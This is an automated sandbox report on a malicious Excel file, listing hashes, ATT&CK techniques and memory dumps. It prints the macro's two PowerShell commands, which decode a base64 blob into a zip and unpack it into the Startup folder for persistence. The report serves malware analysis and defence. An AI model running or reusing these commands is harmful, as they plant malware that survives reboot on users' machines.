a5cdabf24a793c7a49f5019354f01966beab699404e0b110289ff31972563e1b

Analysis

max time kernel
119s
max time network
122s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
27/07/2024, 15:02

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General

Target

a5cdabf24a793c7a49f5019354f01966beab699404e0b110289ff31972563e1b.xls
Size

640KB
MD5

8f2d6511b837e8cd7dc78c5e90962d37
SHA1

cb96735fabecd2188f5caf42282d48e02481d6e7
SHA256

a5cdabf24a793c7a49f5019354f01966beab699404e0b110289ff31972563e1b
SHA512

1136db4e66fbf2ddb2c19edaf922e54aabd6b70b1229e95ba96726c170c4769116fb7cf511d511388232840d86282b1b24da278c08d9e9333affcbad61b7a9c4
SSDEEP

12288:inWR73VmTzNIwsDgaO8XfFhP7Ih/MuJjP2UJM0o4zYWBY:iWRUNtqOOulP2soBWu

Score

10^/10

discovery execution

Malware Config

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2184	2004	powershell.exe	30
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1752	2004	powershell.exe	30

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2184	powershell.exe
1752	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2004	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1752	powershell.exe
2184	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1752	powershell.exe
Token: SeDebugPrivilege	2184	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2004	EXCEL.EXE
2004	EXCEL.EXE
2004	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2004 wrote to memory of 1752	2004	EXCEL.EXE	31
PID 2004 wrote to memory of 1752	2004	EXCEL.EXE	31
PID 2004 wrote to memory of 1752	2004	EXCEL.EXE	31
PID 2004 wrote to memory of 1752	2004	EXCEL.EXE	31
PID 2004 wrote to memory of 2184	2004	EXCEL.EXE	33
PID 2004 wrote to memory of 2184	2004	EXCEL.EXE	33
PID 2004 wrote to memory of 2184	2004	EXCEL.EXE	33
PID 2004 wrote to memory of 2184	2004	EXCEL.EXE	33

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\a5cdabf24a793c7a49f5019354f01966beab699404e0b110289ff31972563e1b.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2004
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "[System.IO.File]::WriteAllBytes('C:\Users\Admin\AppData\Local\Microsoft\UiNexual.zip', [System.Convert]::FromBase64String([System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Microsoft\UiNexual.zip.b64')))"
  2⤵
  - Process spawned unexpected child process
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1752
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Expand-Archive -Path 'C:\Users\Admin\AppData\Local\Microsoft\UiNexual.zip' -DestinationPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
  2⤵
  - Process spawned unexpected child process
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2184

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\UiNexual.zip.b64

Filesize
242KB

MD5
908c9561b4d8a395c0e82028c9a1ba49

SHA1
5f7620f45023da81a7ddaf32f1c1b4c9ef89048d

SHA256
b4f31548b761b49759443e1a69b9905bb155f03d2e3ab5da2b59563fe6d4b3ee

SHA512
1d8a193f48c2cba727b4ca50877edca61d28ec433ad0cdfe9f3d30f95e7e9bef396629681ad270c521fb6e67a72eedb54c3bd5a18ff18c9fea8c153cf13c6566

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
29076b2f3d2c7d78112c3b96c3f1514a

SHA1
e23fe0eb1ad7ad031cae8a9d5e216ff0f09ce1e3

SHA256
3c48048191514d24551a8f68e0eaade570c08fa63204fd54ae2ccc24a817d852

SHA512
1ad9f2b270499d7e94f3a284733bd833155711d07a29baa83c15de17a844a394c83d8b3c3f56a02f1f0a8f43bf471caa6312216fec02737b40598b8e937d47b7

Download Submit
memory/2004-1-0x0000000071EFD000-0x0000000071F08000-memory.dmp

Filesize
44KB

Download
memory/2004-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2004-2-0x0000000071EFD000-0x0000000071F08000-memory.dmp

Filesize
44KB

Download
memory/2004-25-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-31-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-39-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-36-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-44-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-19-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-18-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-17-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-16-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-14-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-12-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-20-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-38-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-66-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-65-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-64-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-63-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-62-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-61-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-67-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2004-59-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-57-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-56-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-55-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-54-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-53-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-52-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-51-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-50-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-49-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-48-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-47-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-46-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-45-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-42-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-41-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-43-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-37-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-35-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-32-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-33-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-30-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-27-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-28-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-26-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-24-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-22-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-21-0x0000000006430000-0x0000000006530000-memory.dmp

Filesize
1024KB

Download
memory/2004-75-0x0000000071EFD000-0x0000000071F08000-memory.dmp

Filesize
44KB

Download